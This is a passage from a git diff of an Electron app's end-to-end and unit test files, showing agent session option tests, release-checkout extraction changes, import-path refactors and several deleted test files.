userDataPath: rig.root, - methods: [...STATUS_METHODS, ...CLIENT_UI_METHODS, ...STRUCTURED_AGENT_SESSION_METHODS], - enableWebSocket: true, - wsPort: 0 - }) - try { - await rig.restart({ modelCatalog }) - const attached = await rig.host.attach({ callerKey: 'founder' }, hostTestAttachParams(null)) - expect(attached.ok).toBe(true) - const acquisitionsAfterAttach = rig.adapter.acquire.mock.calls.length - const record = rig.store.getRecord(REST_TEST_SESSION) - if (!record) { - throw new Error('attached host record missing') - } - catalogStore.recordSuccess( - agentModelCatalogFingerprintForRecord(record), - 'codex', - { - origin: 'probe', - complete: true, - models: CODEX_SESSION_OPTION_CATALOG.models.map(({ id, label }) => ({ - id, - label, - isDefault: false, - efforts: [] - })) - }, - 'discovery' - ) - await modelCatalog.prepareSaved({ - agent: 'codex', - sessionId: REST_TEST_SESSION, - inSessionWorkspace: true - }) - setStructuredAgentSessionHost(rig.host) - await server.start() - const offer = server.createPairingOffer({ name: 'options-consumer', scope: 'runtime' }) - if (!offer.available) { - throw new Error('pairing unavailable') - } - const parsed = parsePairingCode(offer.pairingUrl) - if (!parsed) { - throw new Error('invalid pairing offer') - } - const connection = pairedRuntimeConnectionFromOffer(parsed) - pairedPort.call.mockImplementation(({ environmentId, method, params }) => { - expect(environmentId).toBe('paired-host-B') - return sendRemoteRuntimeRequestOnSocket( - connection, - method, - params, - 5_000, - undefined, - undefined, - undefined, - ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES, - undefined, - undefined - ) - }) - const client = { - async call(method: string, params?: unknown) { - const response = await sendRemoteRuntimeRequestOnSocket( - connection, - method, - params, - 5_000, - undefined, - undefined, - undefined, - ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES, - undefined, - undefined - ) - if (!response.ok) { - throw new Error(JSON.stringify(response.error)) - } - return response - } - } - const read = async () => - ( - await client.call('agentSession.options', { - sessionId: REST_TEST_SESSION - }) - ).result - const report = await read() - expect(rig.adapter.readOptions).toHaveBeenCalled() - expect(report.current.model).toBeUndefined() - expect(report.models.length).toBeGreaterThan(0) - expect(report.models.every((entry) => entry.isDefault === false)).toBe(true) - const seed = CODEX_SESSION_OPTION_CATALOG - const cold = applyStructuredAgentSessionOptions( - createStructuredAgentSessionOptionState('codex', seed), - seed, - report - ) - expect(structuredAgentSessionSendSelection(cold)).toBeUndefined() - expect(updateSettings).not.toHaveBeenCalled() - const model = report.models.find((entry) => entry.id !== '') - if (!model) { - throw new Error('host inventory missing') - } - const beforePending = structuredClone(cold.record) - const pending = structuredAgentSessionOptionView(cold, undefined, { model: model.id }) - expect( - structuredAgentSessionOptionSnapshot(pending).find((row) => row.id === 'model')?.kind - ).toMatchObject({ currentValue: model.id }) - expect(cold.record).toEqual(beforePending) - expect(structuredAgentSessionSendSelection(pending)).toBeUndefined() - expect(updateSettings).not.toHaveBeenCalled() - const fields = { key: 'model', value: model.id } - const picked = await client.call>( - 'agentSession.setOption', - { - ...fields, - envelope: { - sessionId: REST_TEST_SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: rig.store.getRecord(REST_TEST_SESSION)!.lease.runtimeFence, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.setOption', - sessionId: REST_TEST_SESSION, - fields - }) - } - } - ) - if (!picked.result.ok) { - throw new Error(`pick refused: ${picked.result.refusal.code}`) - } - expect(picked.result.value.options).toMatchObject({ model: model.id }) - const picks = structuredAgentSessionOptionPicks(cold, picked.result.value.options ?? {}) - expect(picks).toContainEqual({ modelId: model.id, optionId: 'model', value: model.id }) - await enqueueSessionOptionSettingsWrite( - { kind: 'environment', environmentId: 'paired-host-B' }, - { type: 'apply-picks', agent: 'codex', picks } - ) - expect(settings.nativeChatSessionOptions).toMatchObject({ - codex: { model: model.id } - }) - expect(updateSettings).toHaveBeenCalledTimes(1) - const saved = await client.call<{ settings: RuntimeClientSettings }>('settings.get') - expect(saved.result.settings).toEqual(controller.get()) - expect(saved.result.settings).not.toHaveProperty('nativeChatSessionOptions') - expect(rig.store.getRecord(REST_TEST_SESSION)?.options?.model).toBe(model.id) - const shown = applyStructuredAgentSessionOptions(cold, seed, await read()) - expect( - structuredAgentSessionOptionSnapshot(shown).find((row) => row.id === 'model')?.kind - ).toMatchObject({ currentValue: model.id }) - // Codex uses host-owned options; per-send model overrides are Claude-only. - expect(structuredAgentSessionSendSelection(shown)).toBeUndefined() - expect(JSON.stringify(localSettings)).toBe(localBefore) - expect(localCall).not.toHaveBeenCalled() - expect(rig.adapter.acquire).toHaveBeenCalledTimes(acquisitionsAfterAttach) - } finally { - await server.stop() - modelCatalog.stop() - setStructuredAgentSessionHost(null) - await rig.dispose() - } -}) diff --git a/tests/e2e/cross-version-wire/release-checkout-publication.ts b/tests/e2e/cross-version-wire/release-checkout-publication.ts index 4fce1d42fde..39481e31a12 100644 --- a/tests/e2e/cross-version-wire/release-checkout-publication.ts +++ b/tests/e2e/cross-version-wire/release-checkout-publication.ts @@ -5,7 +5,7 @@ import { lock } from 'proper-lockfile' import { scavengeReleaseCheckoutStaging } from './release-checkout-tree.ts' import { releaseModuleLocation } from './release-module-locations.ts' -export const CHECKOUT_FORMAT = 9 +export const CHECKOUT_FORMAT = 10 export type CheckoutLockOptions = { realpath: false diff --git a/tests/e2e/cross-version-wire/release-checkout-tree.ts b/tests/e2e/cross-version-wire/release-checkout-tree.ts index 364b6662074..9240df28773 100644 --- a/tests/e2e/cross-version-wire/release-checkout-tree.ts +++ b/tests/e2e/cross-version-wire/release-checkout-tree.ts @@ -21,6 +21,7 @@ const OPTIONAL_ARCHIVE_PATHS = [ // The phone row reader, before and after its move under agent-lineage/. 'mobile/src/worktree/agent-row-display.ts', 'mobile/src/worktree/agent-lineage/agent-row-display.ts', + 'mobile/src/i18n', // Released phone read operations and their runtime decoding dependencies. 'mobile/src/agent-history/agent-history-reply-schema.ts', 'mobile/src/agent-history/mobile-agent-history-operations.ts', @@ -111,7 +112,8 @@ async function rewriteWorkspaceImports( async function prepareExtractedTree( root: string, workspacePaths: string[], - packageImports: PackageImports + packageImports: PackageImports, + hasMobileSource: boolean ): Promise { const resolver = workspacePaths.length > 0 ? createWorkspaceSourceResolver(root) : null const rendererRoot = join(root, 'src', 'renderer', 'src') @@ -140,6 +142,9 @@ async function prepareExtractedTree( } } await walk(join(root, 'src')) + if (hasMobileSource) { + await walk(join(root, 'mobile', 'src')) + } // Source packages outside src/ load from here too; native ones keep the current install. for (const path of workspacePaths) { if (path !== WORKSPACE_POLICY && !path.startsWith('src/') && !path.startsWith('native/')) { @@ -247,7 +252,12 @@ export async function extractReleaseCheckoutTree( await rm(archive, { force: true }) } const packageImports: PackageImports = new Map() - await prepareExtractedTree(staging, workspacePaths, packageImports) + await prepareExtractedTree( + staging, + workspacePaths, + packageImports, + optionalPaths.some((path) => path.startsWith('mobile/src/')) + ) if (!sourceOnly) { await installMissingPackageStandIns( staging, diff --git a/tests/e2e/cross-version-wire/release-checkout-tree.unit.test.ts b/tests/e2e/cross-version-wire/release-checkout-tree.unit.test.ts index ebdf254e011..04b65f0bcdb 100644 --- a/tests/e2e/cross-version-wire/release-checkout-tree.unit.test.ts +++ b/tests/e2e/cross-version-wire/release-checkout-tree.unit.test.ts @@ -236,6 +236,35 @@ describe('release phone row reader', () => { }) describe('release checkout workspace packages', () => { + it.each([ + { + reader: 'mobile/src/worktree/agent-row-display.ts', + dependency: '../i18n/mobile-i18n' + }, + { + reader: 'mobile/src/worktree/agent-lineage/agent-row-display.ts', + dependency: '../../i18n/mobile-i18n' + } + ])('loads the released phone reader at $reader', async ({ reader, dependency }) => { + const { repo, commit } = commitRelease({ + [reader]: `import { phoneLabel } from '${dependency}'\nexport const readLabel = () => phoneLabel\n`, + 'mobile/src/i18n/mobile-i18n.ts': "export const phoneLabel = 'released phone'\n", + 'mobile/src/i18n/mobile-i18n.test.ts': 'throw new Error("stale phone spec")\n' + }) + const staging = temporaryDirectory('orca-cross-version-phone-staging-') + await extractReleaseCheckoutTree(repo, staging, commit) + const checkout = { ref: 'v0.0.0-synthetic', commit, label: 'v0.0.0-synthetic', root: staging } + const phone = await importReleaseCheckoutModule( + checkout, + 'mobile/src/worktree/agent-lineage/agent-row-display.ts' + ) + if (typeof phone.readLabel !== 'function') { + throw new Error('released phone reader is missing readLabel') + } + expect(phone.readLabel()).toBe('released phone') + expect(existsSync(join(staging, 'mobile/src/i18n/mobile-i18n.test.ts'))).toBe(false) + }) + it('loads the release workspace package rather than the current one', async () => { expect('releaseOnlyExport' in currentProcessHost).toBe(false) const { repo, commit } = commitRelease({ diff --git a/tests/e2e/folder-upgrade-identity-persistence.unit.test.ts b/tests/e2e/folder-upgrade-identity-persistence.unit.test.ts index f523b23a8f4..7e86caad9bd 100644 --- a/tests/e2e/folder-upgrade-identity-persistence.unit.test.ts +++ b/tests/e2e/folder-upgrade-identity-persistence.unit.test.ts @@ -1,5 +1,5 @@ import { hostWorktreeTarget } from '../../src/shared/worktree/host-qualified-identity' -import { getDefaultWorkspaceSession } from '../../src/shared/constants' +import { getDefaultWorkspaceSession } from '../../src/shared/orca-profiles/constants' import type { AppState } from '../../src/renderer/src/store/types' import { getRemovedWorktreeIdsAfterAuthoritativeScan } from '../../src/renderer/src/store/slices/worktrees/listing/worktree-host-ownership' import { mergeWorktree } from '../../src/main/ipc/worktree-metadata-merge' diff --git a/tests/e2e/headless-paired-ssh-host-project-setup.spec.ts b/tests/e2e/headless-paired-ssh-host-project-setup.spec.ts deleted file mode 100644 index 35fff5597d8..00000000000 --- a/tests/e2e/headless-paired-ssh-host-project-setup.spec.ts +++ /dev/null @@ -1,65 +0,0 @@ -/** - * A paired client cannot set up a project on an SSH host its headless server owns: the server - * reaches that host's runtime over its own tunnel, which the client has no route to. Adding or - * cloning there says so plainly instead of failing with a TypeError or "not connected" (#33124). - */ -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedWebClient } from './helpers/paired-electron-client' -import { toSshExecutionHostId } from '../../src/shared/execution-host' - -const REFUSAL = "This Orca server can't add projects on its SSH hosts." - -test('a paired client refuses project setup on its server’s SSH host with a clear reason', async () => { - // Boots a headless server and a paired Electron client before the refusal is observable. - test.setTimeout(180_000) - const host = await launchHeadlessPairedRuntimeHost() - try { - const sshTarget = await host.client.call<{ target: { id: string } }>('ssh.addTarget', { - target: { label: 'Recipe VM', host: '127.0.0.1', port: 1, username: 'dev' } - }) - const client = await launchPairedWebClient(host.app, host.offer, { waitForWorkspace: false }) - try { - await expect - .poll(() => client.page.evaluate(() => Boolean(window.__store)), { timeout: 30_000 }) - .toBe(true) - const errors = await client.page.evaluate(async (hostId) => { - const messages: string[] = [] - const original = console.error - console.error = (...args: unknown[]) => { - messages.push(args.map(String).join(' ')) - original(...args) - } - try { - const state = window.__store!.getState() - const added = await state.setupProjectExistingFolder({ - projectId: 'project-on-b', - hostId, - path: '/home/dev/repo', - kind: 'git' - }) - const cloned = await state.setupProjectClone({ - projectId: 'project-on-b', - hostId, - url: 'https://example.com/repo.git', - destination: '/home/dev' - }) - return { added, cloned, messages } - } finally { - console.error = original - } - }, toSshExecutionHostId(sshTarget.result.target.id)) - - expect(errors.added).toBeNull() - expect(errors.cloned).toBeNull() - expect(errors.messages).toHaveLength(2) - for (const message of errors.messages) { - expect(message).toContain(REFUSAL) - } - } finally { - await client.dispose() - } - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/helpers/orcad-managed-workspace.ts b/tests/e2e/helpers/orcad-managed-workspace.ts index 13f622783a1..a51e69c531b 100644 --- a/tests/e2e/helpers/orcad-managed-workspace.ts +++ b/tests/e2e/helpers/orcad-managed-workspace.ts @@ -10,7 +10,7 @@ import { readPairedPaneContent } from './paired-host-terminal' import { waitForSessionReady, waitForStartupWorktreeRefresh } from './store' import { dismissTransientAnnouncement } from './ssh-config-host-picker' import { focusActiveTerminalInput } from './terminal' -import { toRuntimeExecutionHostId } from '../../../src/shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { getManagedOrcadSshTargetId } from '../../../src/shared/execution-host/managed-orcad-execution-host' export const ORCAD_TEMPLATE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE diff --git a/tests/e2e/helpers/orcad-upgrade-profile.ts b/tests/e2e/helpers/orcad-upgrade-profile.ts index 11c7b842169..4ad9b9b2b0c 100644 --- a/tests/e2e/helpers/orcad-upgrade-profile.ts +++ b/tests/e2e/helpers/orcad-upgrade-profile.ts @@ -7,8 +7,8 @@ import type { SshTarget, SshTargetCreateInput } from '../../../src/shared/remote-runtime/ssh/ssh-types' -import { getDefaultWorkspaceSession } from '../../../src/shared/constants' -import { toSshExecutionHostId } from '../../../src/shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../src/shared/orca-profiles/constants' +import { toSshExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { toAppSshPtyId } from '../../../src/shared/remote-runtime/ssh/ssh-pty-id' import { normalizeSshTarget } from '../../../src/main/persistence/leasing-ssh-ptys/ssh-normalization' import { mutateStoppedProfileState } from './persisted-profile-state' diff --git a/tests/e2e/helpers/orcad-upgrade-retained-state.ts b/tests/e2e/helpers/orcad-upgrade-retained-state.ts index 21757beb2a0..52d96a08cba 100644 --- a/tests/e2e/helpers/orcad-upgrade-retained-state.ts +++ b/tests/e2e/helpers/orcad-upgrade-retained-state.ts @@ -1,7 +1,7 @@ import { z } from 'zod' import { workspaceSessionStateSchema } from '../../../src/shared/workspace-session/workspace-session-schema' import { worktreeWorkspaceKey } from '../../../src/shared/workspace/identity/workspace-scope' -import { toSshExecutionHostId } from '../../../src/shared/execution-host' +import { toSshExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { mutateStoppedProfileState } from './persisted-profile-state' import type { RelayEraProfile } from './orcad-upgrade-profile' import { mergeWorktreeMetaForWrite } from '../../../src/main/persistence/loading-store/worktree-metadata/worktree-meta-write-normalization' diff --git a/tests/e2e/helpers/runtime-types.ts b/tests/e2e/helpers/runtime-types.ts index 32d771c327f..8951c80c8c6 100644 --- a/tests/e2e/helpers/runtime-types.ts +++ b/tests/e2e/helpers/runtime-types.ts @@ -1,13 +1,13 @@ import type { AppState } from '../../../src/renderer/src/store/types' import type { PaneManager } from '../../../src/renderer/src/lib/pane-manager/pane-manager' import type { OpenFile } from '../../../src/renderer/src/store/slices/editor/types/open-file' -import type { RightSidebarTab } from '../../../src/shared/ui-chrome-types' +import type { RightSidebarTab } from '../../../src/shared/ui-chrome/ui-chrome-types' import type { ManagedPane, ManagedPaneInternal, PaneRenderingDiagnostics } from '../../../src/renderer/src/lib/pane-manager/pane-manager-types' -import type { GlobalSettings } from '../../../src/shared/global-settings-types' +import type { GlobalSettings } from '../../../src/shared/settings/global-settings-types' import type { BrowserWorkspace } from '../../../src/shared/browser/workspaces/browser-workspace-types' import type { Repo } from '../../../src/shared/repository/repo-types' import type { WorkspaceVisibleTabType } from '../../../src/shared/workspace-layout/tab-groups/tab-types' diff --git a/tests/e2e/helpers/seeded-ssh-workspaces.ts b/tests/e2e/helpers/seeded-ssh-workspaces.ts index dd5211d5fe6..81b0b55e8d6 100644 --- a/tests/e2e/helpers/seeded-ssh-workspaces.ts +++ b/tests/e2e/helpers/seeded-ssh-workspaces.ts @@ -1,6 +1,6 @@ import type { ElectronApplication, Page, TestInfo } from '@stablyai/playwright-test' import type { Repo } from '../../../src/shared/repository/repo-types' -import { toSshExecutionHostId } from '../../../src/shared/execution-host' +import { toSshExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { expect } from './orca-app' import { seedRelayEraTarget } from './orcad-upgrade-profile' import { attachRepoAndOpenTerminal, createRestartSession } from './orca-restart' diff --git a/tests/e2e/helpers/sidebar-setup-prompt.ts b/tests/e2e/helpers/sidebar-setup-prompt.ts index d548fe5b3b4..736f6b1e693 100644 --- a/tests/e2e/helpers/sidebar-setup-prompt.ts +++ b/tests/e2e/helpers/sidebar-setup-prompt.ts @@ -1,6 +1,6 @@ import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { getRepoExecutionHostId } from '../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { getRepoHostIdentityForParts } from '../../../src/shared/repository/repo-host-identity' // Dismiss every loaded repo’s setup prompt through its action; workspace switches can re-inspect and show it between visibility checks. diff --git a/tests/e2e/helpers/workspace-layout-oracle-feed.ts b/tests/e2e/helpers/workspace-layout-oracle-feed.ts index bf32d655857..f86168d47f2 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-feed.ts +++ b/tests/e2e/helpers/workspace-layout-oracle-feed.ts @@ -1,6 +1,9 @@ // Apply layout.subscribe frames to the oracle cache and partition them for model-rule checks. -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../src/shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../src/shared/execution-host/execution-host' import type { LayoutLeaf, LayoutTab, diff --git a/tests/e2e/helpers/workspace-layout-oracle-model.ts b/tests/e2e/helpers/workspace-layout-oracle-model.ts index c8eaae760c1..f28f523c012 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-model.ts +++ b/tests/e2e/helpers/workspace-layout-oracle-model.ts @@ -1,6 +1,6 @@ // Compare groups/order, all tab kinds, pane tree/bindings and custom titles; omit viewer-owned selection, focus, sizes and scroll. -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import type { TerminalPaneLayoutNode } from '../../../src/shared/workspace-layout/terminal-tab-types' import { checkWorkspaceLayoutRules } from '../../../src/shared/workspace-layout/invariants/workspace-layout-rules' import type { diff --git a/tests/e2e/helpers/workspace-layout-oracle-views.ts b/tests/e2e/helpers/workspace-layout-oracle-views.ts index afa28a2416c..77bd9f0dacd 100644 --- a/tests/e2e/helpers/workspace-layout-oracle-views.ts +++ b/tests/e2e/helpers/workspace-layout-oracle-views.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../src/shared/execution-host' +} from '../../../src/shared/execution-host/execution-host' import { readPersistedProfileState } from './persisted-profile-state' import type { RuntimeMobileSessionTabsResult } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' import type { RuntimeTerminalListResult } from '../../../src/shared/terminal/runtime/runtime-terminal-contracts' diff --git a/tests/e2e/helpers/wsl-host-fake-desktop.ts b/tests/e2e/helpers/wsl-host-fake-desktop.ts index 3319a688a9a..707f872d637 100644 --- a/tests/e2e/helpers/wsl-host-fake-desktop.ts +++ b/tests/e2e/helpers/wsl-host-fake-desktop.ts @@ -22,7 +22,7 @@ import { cleanupE2EDaemons, closeElectronAppForE2E } from './electron-process-sh import { createElectronHomeIsolation } from './electron-home-isolation' import { forwardElectronProcessLogs } from './orca-app' import { waitForSessionReady } from './store' -import { toRuntimeExecutionHostId } from '../../../src/shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../src/shared/execution-host/execution-host' import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' export const WSL_ENVIRONMENT_ID = 'wsl:ubuntu' diff --git a/tests/e2e/host-agent-launch-preferences-work.unit.test.ts b/tests/e2e/host-agent-launch-preferences-work.unit.test.ts deleted file mode 100644 index 52703c15fa5..00000000000 --- a/tests/e2e/host-agent-launch-preferences-work.unit.test.ts +++ /dev/null @@ -1,308 +0,0 @@ -// @vitest-environment happy-dom -import { - rpc, - status -} from '../../src/renderer/src/components/tab-bar/new-tab-agent-menu-host-preferences-test-fixture' -import { act, render } from '@testing-library/react' -import { createElement } from 'react' -import { expect, it, vi } from 'vitest' -import { useAppStore } from '@/store' -import { useNewTabAgentMenuRows } from '../../src/renderer/src/components/tab-bar/use-new-tab-agent-menu-rows' -import { - useAgentLaunchPickerInventorySource, - useAgentPickerInventoryEntries, - type AgentPickerInventorySource -} from '../../src/renderer/src/components/agent/use-agent-launch-picker-inventory' -import type { AgentPickerEntry } from '../../src/shared/agent-launch/picker/agent-launch-picker' -import * as acquisitions from '../../src/renderer/src/components/agent/agent-launch-picker-acquisition' -import * as routes from '@/lib/agent-session/launch/routing/agent-launch-route-input' -import * as profile from '../../src/shared/agent-launch/choices/agent-launch-profile' -import * as composition from '../../src/shared/agent-launch/choices/tui-agent-launch-defaults' -import { createGlobalSettingsFixture } from '../../src/shared/global-settings-test-fixture' -import type { RuntimeStore } from '../../src/main/runtime/construction/runtime-store-contract' -import { RuntimeClientSettingsController } from '../../src/main/runtime/client/settings/runtime-client-settings' -import { mutateHostAgentLaunchSettings } from '../../src/renderer/src/runtime/agent-launch-settings/agent-launch-settings-transport' -import { AGENT_LAUNCH_CHOICES_CAPABILITY } from '../../src/shared/agent-launch/contracts/agent-launch-runtime-capability' -import { structuredLaunchSeedOptions } from '../../src/shared/native-chat/input/session-options/native-chat-session-option-defaults' -import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision' - -vi.mock('../../src/main/agent-hooks/installation/managed-agent-hook-controls', () => ({ - applyAgentStatusHooksEnabled: vi.fn(async () => {}) -})) - -function hostWriter() { - const settings = createGlobalSettingsFixture({ - defaultTuiAgent: 'claude', - disabledTuiAgents: [], - agentPermissionDefault: 'own', - agentLaunchChoices: { claude: { model: 'host-0' } } - }) - const write = vi.fn((updates: Partial) => Object.assign(settings, updates)) - const durable: NonNullable = async (mutate) => mutate().value - const controller = new RuntimeClientSettingsController({ - getSettings: () => settings, - updateSettings: write, - runDurableMutation: durable - }) - return { settings, write, controller } -} -const settle = () => - act(async () => { - await new Promise((resolve) => setTimeout(resolve, 0)) - }) -function mount(count: number) { - let renders = 0 - const holders = Array.from({ length: count }, () => { - let entries: AgentPickerEntry[] = [] - function Subscriber({ source }: { source: AgentPickerInventorySource }) { - entries = useAgentPickerInventoryEntries(source) - return null - } - function Owner({ open }: { open: boolean }) { - const menu = useNewTabAgentMenuRows('wt', open, { kind: 'runtime', environmentId: 'alpha' }) - const source = useAgentLaunchPickerInventorySource('wt', menu, open) - renders++ - return createElement(Subscriber, { source }) - } - const view = render(createElement(Owner, { open: true })) - return { - result: { - get current() { - return entries - } - }, - rerender: ({ open }: { open: boolean }) => view.rerender(createElement(Owner, { open })), - unmount: view.unmount - } - }) - return { holders, renders: () => renders } -} - -it.each([20, 200])( - 'bounds actual open acquisition and host writes for %i mounted holders', - async (count) => { - const host = hostWriter() - rpc.call.mockImplementation(async (_target, method, mutation) => { - if (method === 'settings.mutateAgentLaunch') { - return { settings: await host.controller.mutateAgentLaunch(mutation) } - } - if (method === 'agentSession.modelCatalog') { - return { origin: 'probe', models: [] } - } - if (method === 'agentSession.createSupport') { - return { - supported: true, - seedOptions: structuredLaunchSeedOptions(host.settings, 'claude') - } - } - return { settings: host.controller.getAgentLaunch() } - }) - useAppStore.setState((state) => ({ - settings: { ...state.settings!, agentDefaultSurface: 'chat' }, - runtimeStatusByEnvironmentId: new Map(state.runtimeStatusByEnvironmentId).set('alpha', { - ...status(), - status: { - ...status().status!, - capabilities: [...(status().status!.capabilities ?? []), AGENT_LAUNCH_CHOICES_CAPABILITY] - } - }) - })) - const acquire = vi.spyOn(acquisitions, 'observeAgentPickerAcquisition') - const route = vi.spyOn(routes, 'buildAgentLaunchRouteInput') - const project = vi.spyOn(profile, 'projectAgentLaunchProfile') - const compose = vi.spyOn(composition, 'composeAgentLaunchProfile') - const menu = mount(count) - const snapshot = () => ({ - renders: menu.renders(), - acquire: acquire.mock.calls.length, - profiles: project.mock.calls.length, - compositions: compose.mock.calls.length, - routes: route.mock.calls.length, - status: rpc.supports.mock.calls.length, - settings: rpc.call.mock.calls.filter(([, method]) => method === 'settings.getAgentLaunch') - .length, - catalog: rpc.call.mock.calls.filter(([, method]) => method === 'agentSession.modelCatalog') - .length, - support: rpc.call.mock.calls.filter(([, method]) => method === 'agentSession.createSupport') - .length - }) - try { - await settle() - await settle() - expect( - menu.holders[0].result.current.find((entry) => entry.agent === 'claude')?.terminal.model - ).toBe('host-0') - const before = snapshot() - expect(before.acquire).toBeLessThanOrEqual(3 * count) - expect(before.profiles).toBeLessThanOrEqual(4 * count + 160) - expect(before.routes).toBeLessThanOrEqual(14 * count) - expect(before.settings).toBeLessThanOrEqual(3) - expect(before.catalog).toBeGreaterThan(0) - expect(before.catalog).toBeLessThanOrEqual(6) - expect(before.support).toBeGreaterThan(0) - expect(before.support).toBeLessThanOrEqual(6) - const updates = [ - () => - useAppStore.setState((state) => ({ - settings: { ...state.settings!, terminalFontSize: 19 } - })), - () => - useAppStore.setState((state) => ({ - runtimeStatusByEnvironmentId: new Map(state.runtimeStatusByEnvironmentId).set( - 'beta', - status('other') - ) - })), - () => - useAppStore.setState((state) => ({ - settings: { - ...state.settings!, - agentLaunchChoices: { claude: { model: 'unused-desktop' } } - } - })) - ] - for (const update of updates) { - await act(async () => update()) - const after = snapshot() - expect({ ...after, routes: before.routes }).toEqual(before) - } - expect(snapshot().routes - before.routes).toBeLessThanOrEqual(3 * count) - await act(async () => { - await mutateHostAgentLaunchSettings( - { environmentId: 'alpha', pairingRevision: 7 }, - { type: 'launch-choices', agent: 'claude', patch: { model: 'host-next' } } - ) - }) - await settle() - expect(host.write).toHaveBeenCalledOnce() - expect(host.settings.agentLaunchChoices?.claude).toEqual({ model: 'host-next' }) - expect(menu.renders()).toBeGreaterThan(before.renders) - expect( - menu.holders.every( - (holder) => - holder.result.current.find((entry) => entry.agent === 'claude')?.terminal.model === - 'host-next' - ) - ).toBe(true) - expect(snapshot().catalog - before.catalog).toBeLessThanOrEqual(6) - expect(snapshot().profiles - before.profiles).toBeLessThanOrEqual(4 * count + 240) - expect(snapshot().acquire - before.acquire).toBeLessThanOrEqual(2 * count) - expect(snapshot().routes - before.routes).toBeLessThanOrEqual(11 * count) - expect(snapshot().support - before.support).toBeLessThanOrEqual(4) - expect(snapshot().settings - before.settings).toBeLessThanOrEqual(3) - expect(snapshot().status - before.status).toBeLessThanOrEqual(6) - process.stdout.write( - `${JSON.stringify({ - contract: 'open-host-writer', - count, - before, - after: snapshot(), - writes: host.write.mock.calls.length - })}\n` - ) - } finally { - menu.holders.forEach((holder) => holder.unmount()) - acquire.mockRestore() - route.mockRestore() - project.mockRestore() - compose.mockRestore() - } - } -) - -it.each([20, 200])( - 'retires %i admitted map generations after completion while a live successor finishes', - async (count) => { - const host = hostWriter() - const pending: { kind: string; finish: () => void }[] = [] - let held = false - let allowResource = true - rpc.call.mockImplementation(async (_target, method, mutation) => { - if (method === 'settings.mutateAgentLaunch') { - allowResource = true - return { settings: await host.controller.mutateAgentLaunch(mutation) } - } - const resource = method === 'settings.getAgentLaunch' && allowResource - if (resource) { - allowResource = false - } - if (held && !resource) { - await new Promise((resolve) => pending.push({ kind: method, finish: resolve })) - } - if (method === 'agentSession.modelCatalog') { - return { origin: 'probe', models: [] } - } - if (method === 'agentSession.createSupport') { - return { - supported: true, - seedOptions: structuredLaunchSeedOptions(host.settings, 'claude') - } - } - return { settings: host.controller.getAgentLaunch() } - }) - useAppStore.setState((state) => ({ - settings: { ...state.settings!, agentDefaultSurface: 'chat' } - })) - const menu = mount(1) - await settle() - await settle() - held = true - for (let generation = 1; generation <= count; generation++) { - await act(async () => { - await mutateHostAgentLaunchSettings( - { environmentId: 'alpha', pairingRevision: 7 }, - { type: 'launch-choices', agent: 'claude', patch: { model: `host-${generation}` } } - ) - }) - await settle() - } - expect(host.write).toHaveBeenCalledTimes(count) - const retained = acquisitions.agentPickerAcquisitionDiagnostics() - expect(retained.length).toBe(count) - expect(retained.filter((owner) => owner.observers > 0)).toHaveLength(1) - menu.holders.forEach((holder) => holder.rerender({ open: false })) - menu.holders.forEach((holder) => holder.unmount()) - await act(async () => replaceRuntimeEnvironmentRevisions([{ id: 'alpha', createdAt: 8 }])) - expect( - acquisitions.agentPickerAcquisitionDiagnostics().every((owner) => owner.observers === 0) - ).toBe(true) - held = false - allowResource = true - const successor = mount(1) - try { - await settle() - await settle() - expect( - successor.holders[0].result.current.find((entry) => entry.agent === 'claude')?.terminal - .model - ).toBe(`host-${count}`) - const admitted = rpc.call.mock.calls.length - await act(async () => pending.forEach((work) => work.finish())) - await settle() - await settle() - expect(rpc.call).toHaveBeenCalledTimes(admitted) - expect(acquisitions.agentPickerAcquisitionDiagnostics()).toHaveLength(1) - const completions = pending.reduce>((counts, work) => { - counts[work.kind] = (counts[work.kind] ?? 0) + 1 - return counts - }, {}) - expect(completions).toEqual({ - 'agentSession.modelCatalog': 2 * count, - 'agentSession.createSupport': 2 * count, - 'settings.getAgentLaunch': count - }) - process.stdout.write( - `${JSON.stringify({ - contract: 'pending-generation-drain', - count, - retained: retained.length, - completions - })}\n` - ) - } finally { - successor.holders.forEach((holder) => holder.unmount()) - await settle() - } - expect(acquisitions.agentPickerAcquisitionDiagnostics()).toEqual([]) - } -) diff --git a/tests/e2e/live-background-terminal-mount-authority.spec.ts b/tests/e2e/live-background-terminal-mount-authority.spec.ts deleted file mode 100644 index ec28b42b83c..00000000000 --- a/tests/e2e/live-background-terminal-mount-authority.spec.ts +++ /dev/null @@ -1,835 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { randomUUID } from 'node:crypto' -import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test as base, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { 